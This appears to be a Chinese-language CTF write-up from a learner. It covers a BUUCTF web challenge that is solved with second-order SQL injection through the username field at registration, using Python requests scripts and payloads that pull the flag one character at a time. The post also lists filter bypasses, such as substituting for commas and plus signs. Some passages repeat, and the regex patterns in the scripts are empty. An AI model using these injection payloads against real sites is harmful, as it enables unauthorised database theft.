关于request和re的使用,可以看这个:sql注入的python脚本学习request + re。
我连注册登陆的脚本都写不好,,,写了半天,最后的那个submit不用管,直接就登陆了,然后每次要换一次 邮箱 和 账号
import requests
import re
register_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/register.php"
login_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/login.php"
for s in ["sfd","qwer","bt"]:
#这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
name ="sdf{}".format(s)# 注意换名字的生活,email也要换一下,因为名字是对应Email来找的!!!要记住,我这里也迷了好一会,
ema="asdf{}".format(s)
data={
"email":ema,"username":name,"password":"aa"}
data_login={
"email":ema,"password":"aa"}
#这里设置上timeout,防止连接失败,不写也行,我刚刚是网断了,,我靠,
res=requests.post(url=register_url,data=data,timeout=3)
res_login = requests.post(url=login_url,data=data_login,timeout=3)
text = res_login.text
# 找到所有的这个东西,输出出来。username就在这个里面,
content = re.findall('' ,text,re.S)
for i in content:
print(i)
# 这里输出一下url。便于看是否进入了index.php
print(res.url)
print(res_login.url)
这里尝试出 '
单引号不行,被过滤了,那就尝试 ;
分号,堆叠注入,
测试出来了,分号没有被过滤
然后就看WP了吧,
学完了,我连后台的查询语句是什么也没弄清除,,,
吐了,,
+
换成 ^
也行,记得如果做题的时候这两个不好使,就换成unquote编码,也就是url编码的样式,%2B
和什么'0'+''+'0'
的方法,没学过啊,,说是,会看到用户名有回显,所以想到会不会是 sql注入,然后就出入用户名,
WP有尝试报错注入的。嗯嗯,不错的思路,但是 ,
逗号被过滤了,不能用报错注入了,,,
WP用的是一种新的sql注入的方法,,,这里学习一下新方法:
但是有个问题,flag的16进制中存在字母,如果让他和’0’相加的化,:
会存在截断的问题,所以我们应该二次hex:
但是还有问题。如果结果超过10位的话,会转成科学计数法,像这样
就会导致丢失数据。因此要用substr来截:
但是这个题的 逗号 有被过滤了,所以用 from for 来代替逗号
还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
注入的姿势如下
将 +
换成 ^
也行,记得如果做题的时候这两个不好使,就换成unquote编码,也就是url编码的样式,%2B
和什么
学完了,我连后台的查询语句是什么也没弄清除,,,
吐了,,
不清楚啊,,,
找WP的时候,看到了这个ascii方法的。出flag了~~
register_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/register.php"
login_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/login.php"
for s in range(100):
#这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
#name ="0'%2Bsubstr((hex(hex(select * from flag)) from 1 for 10) from 1 for 10)%2B'0"
name = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(s+1)
ema="a1{}".format(s)
data={
"email":ema,"username":name,"password":"aa"}
data_login={
"email":ema,"password":"aa"}
res=requests.post(url=register_url,data=data,timeout=3)
res_login = requests.post(url=login_url,data=data_login,timeout=3)
text = res_login.text
# 找到所有的这个东西,输出出来。username就在这个里面,
content = re.findall('' ,text,re.S)
for i in content:
print(i)
# 这里输出一下url。便于看是否进入了index.php
print(res.url)
print(res_login.url)
我的脚本太屎了,所以其他多余的东西多,,,
#这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
name ="0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%s
#name = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(s+1)
最后换成这个也行,也是一次出一个字符,只不过是16进制的,然后两次hex解码就得到flag了